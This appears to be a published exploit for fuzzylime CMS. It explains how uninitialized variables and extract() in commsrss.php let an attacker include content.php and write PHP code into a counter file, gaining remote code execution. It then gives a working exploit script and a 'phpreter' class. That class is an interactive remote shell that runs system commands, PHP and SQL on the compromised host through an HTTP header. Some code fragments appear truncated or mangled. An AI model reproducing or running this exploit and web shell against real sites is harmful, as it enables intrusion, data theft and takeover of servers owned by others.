## ## Conditions: None ## ## Greetz: Inphex, hEEGy and austeN ## ## Explanations ## ************ ## ## Ok, so today we will go for a walk in the fuzzylime cms maze ... ## Finding vulns was easy, but finding a no condition vuln was quite ## harder ... ## ## First, we look to the code/content.php file: ## ##---[code/content.php]------------------------------------------ ## 02| require_once("code/functions.php"); ## --| [...] ## 09| $countfile = "code/counter/${s}_$p.inc.php"; ## 10| if(file_exists($countfile)) { ## 11| $curcount = loadfile($countfile); ## 12| } ## 13| $curcount++; ## 14| if($handle = @fopen($countfile, 'w')) { // Open the file for saving ## 15| fputs($handle, $curcount); ## 16| fclose($handle); ## 17| } ##---------------------------------------------------------------- ## ## $s, $p, $curcount vars are not initialized, so we can set it if ## register_globals=On. ## ## POC: http://[url]/code/content.php?s=owned&p=owned&curcount=[PHP_SCRIPT] ## ## Note: [C:\]# php -r "$var='abc'; $var++; print $var;" ## abd ## So the ++ just increment the last string letter position in the alphabet ## a->b, b->c, etc. ## ## Ok, we got remote code exec ... but wait a minute ... no ! require_once() ## requires a file in the code folder, but we are already in this folder ... ## PHP will die (Fatal Error) and our evil code won't be executed. ## And we wanted a no condition exploit, but this vuln needs register_globals ## to be On ... ## ## hum... let's look at other pages: we can find that extract() function is ## pretty often used, and it can simulate register_globals ... ## Now we are looking for a file which uses extract() and which can include ## code/content.php file, and which is in the root path. ## ## And we finally found commsrss.php, which contains: ## ##---[commsrss.php]----------------------------------------------- ## 17| extract($HTTP_POST_VARS); ## 18| extract($_POST); ## 19| extract($HTTP_GET_VARS); ## 20| extract($_GET); ## 21| extract($HTTP_COOKIE_VARS); ## 22| extract($_COOKIE); ## --| [...] ## 64| $dir = "blogs/comments/"; ## 65| if($dlist = opendir($dir)) { ## 66| while (($file = readdir($dlist)) !== false) { ## 67| if(strstr($file, $p)) { ## 68| $files[] = $file; ## 69| } ## 70| } ## 71| closedir($dlist); ## 72| } ## 73| for($i = 0; $i < count($files); $i++) { ## 74| include "blogs/comments/$files[$i]"; ## --| [...] ## 89| } ##---------------------------------------------------------------- ## ## w00t ! $files array is not initialized ... we can include every ## file we want. ## ## Using chr() we can bypass magic_quotes_gpc=Off [ see chrit() ] ## ## Our problems are solved, we have a Remote Code Execution without ## conditions. ## ## Proof of Concept ## **************** ## ## [C:\]# php exploit.php http://www.target.com/ ## [target][cmd]# ls ## blogs_.inc.php ## content_index.inc.php ## content_index.php.inc.php ## content_test.inc.php ## front_index.inc.php ## front_test.inc.php ## index.htm ## index.php_index.inc.php ## ## [target][cmd]# exit ## ## [C:\]# $url = $argv[1]; $php_code = ''; $php_code--; // 13| $curcount++; $c0de = $url . 'commsrss.php?s=blogs&m=&usecache=0&files[0]=../../code/content.php' . '&curcount=' . urlencode($php_code); $shell = $url . 'code/counter/blogs_.inc.php'; # Be careful: we can create a valid shell only ONCE. # So check if it does not already exist before doing # anything else. if(status_404($shell)==true) get($c0de); $phpR = new phpreter($shell, '-:-:-(.*)-:-:-', 'cmd', array(), false); function chrit($str) { $r = ''; for($i=0;$i * VERSION: 1.0 * LICENSE: GNU General Public License * * This is a really simple class with permits to exec SQL, PHP or CMD * on a remote host using the HTTP "Shell" header. * * * Sample code: * [host][sql]# mode=cmd * [host][cmd]# id * uid=2176(u47170584) gid=600(ftpusers) * * [host][cmd]# mode=php * [host][php]# echo phpversion(); * 4.4.8 * [host][php]# mode=sql * [host][sql]# SELECT version(), user() * -------------------------------------------------- * version() | 5.0.51a-log * user() | dbo225004932@74.208.16.148 * -------------------------------------------------- * * [host][sql]# * */ class phpreter { var $url; var $host; var $port; var $page; var $mode; var $ssql; var $prompt; var $phost; var $regex; var $data; /** * __construct() * * @param url The url of the remote shell. * @param regexp The regex to catch cmd result. * @param mode Mode: php, sql or cmd. * @param sql An array with the file to include, * and sql vars * @param clear Determines if clear() is called * on startup */ function __construct($url, $regexp='^(.*)$', $mode='cmd', $sql=array(), $clear=true) { $this->url = $url; $this->regex = '#'.$regexp.'#is'; # # Set data # $infos = parse_url($this->url); $this->host = $infos['host']; $this->port = isset($infos['port']) ? $infos['port'] : 80; $this->page = $infos['path']; unset($infos); # www.(site).com $host_tmp = explode('.',$this->host); $this->phost = $host_tmp[ count($host_tmp)-2 ]; unset($host_tmp); # # Set up MySQL connection string # if(!sizeof($sql)) $this->ssql = ''; elseif(sizeof($sql)==5) { $this->ssql = "include('$sql[0]');" . "mysql_connect($sql[1], $sql[2], $sql[3]);" . "mysql_select_db($sql[4]);"; } else { $this->ssql = "" . "mysql_connect('$sql[0]', '$sql[1]', '$sql[2]');" . "mysql_select_db('$sql[3]');"; } $this->setmode($mode); # # Main Loop # if($clear) $this->clear(); print $this->prompt; while( !preg_match('#^(quit|exit|close)$#i', ($cmd = trim(fgets(STDIN)))) ) { # change mode if(preg_match('#^(set )?mode(=| )(sql|cmd|php)$#i',$cmd,$array)) $this->setmode($array[3]); # clear data elseif(preg_match('#^clear$#i',$cmd)) $this->clear(); # else else print $this->exec($cmd); print $this->prompt; } } /** * clear() * Just clears ouput, printing '\n'x50 */ function clear() { print str_repeat("\n", 50); return 0; } /** * setmode() * Set mode (PHP, CMD, SQL) * You don't have to call it. * use mode=[php|cmd|sql] instead, * in the prompt. */ function setmode($newmode) { $this->mode = strtolower($newmode); $this->prompt = '['.$this->phost.']['.$this->mode.']# '; switch($this->mode) { case 'cmd': $this->data = 'system(\'\');'; break; case 'php': $this->data = ''; break; case 'sql': $this->data = $this->ssql . '$q = mysql_query(\'\') or print(str_repeat("-",50)."\n".mysql_error()."\n");' . 'print str_repeat("-",50)."\n";' . 'while($r=mysql_fetch_array($q,MYSQL_ASSOC))' . '{' . 'foreach($r as $k=>$v) print " ".$k.str_repeat(" ", (20-strlen($k)))."| $v\n";' . 'print str_repeat("-",50)."\n";' . '}'; break; } return $this->mode; } /** * exec() * Execute any query and catch the result. * You don't have to call it. */ function exec($cmd) { if(!strlen($this->data)) $shell = $cmd; else $shell = str_replace('', addslashes($cmd), $this->data); $fp = fsockopen($this->host, $this->port, &$errno, &$errstr, 30); $req = "GET " . $this->page . " HTTP/1.1\r\n"; $req .= "Host: " . $this->host . ( $this->port!=80 ? ':'.$this->port : '' ) . "\r\n"; $req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14\r\n"; $req .= "Shell: $shell\r\n"; $req .= "Connection: close\r\n\r\n"; unset($shell); fputs($fp, $req); $content = ''; while(!feof($fp)) $content .= fgets($fp, 128); fclose($fp); # Remove headers $data = explode("\r\n\r\n", $content); $headers = array_shift($data); $content = implode("\r\n\r\n", $data); if(preg_match("#Transfer-Encoding:.*chunked#i", $headers)) $content = $this->unchunk($content); preg_match($this->regex, $content, $data); if($data[1][ strlen($data)-1 ] != "\n") $data[1] .= "\n"; return $data[1]; } /** * unchunk() * This function aims to remove chunked content sizes which * are putted by apache server when it uses chunked * transfert-encoding. */ function unchunk($data) { $dsize = 1; $offset = 0; while($dsize>0) { $hsize_size = strpos($data, "\r\n", $offset) - $offset; $dsize = hexdec(substr($data, $offset, $hsize_size)); # Remove $hsize\r\n from $data $data = substr($data, 0, $offset) . substr($data, ($offset + $hsize_size + 2) ); $offset += $dsize; # Remove the \r\n before the next $hsize $data = substr($data, 0, $offset) . substr($data, ($offset+2) ); } return $data; } } ?>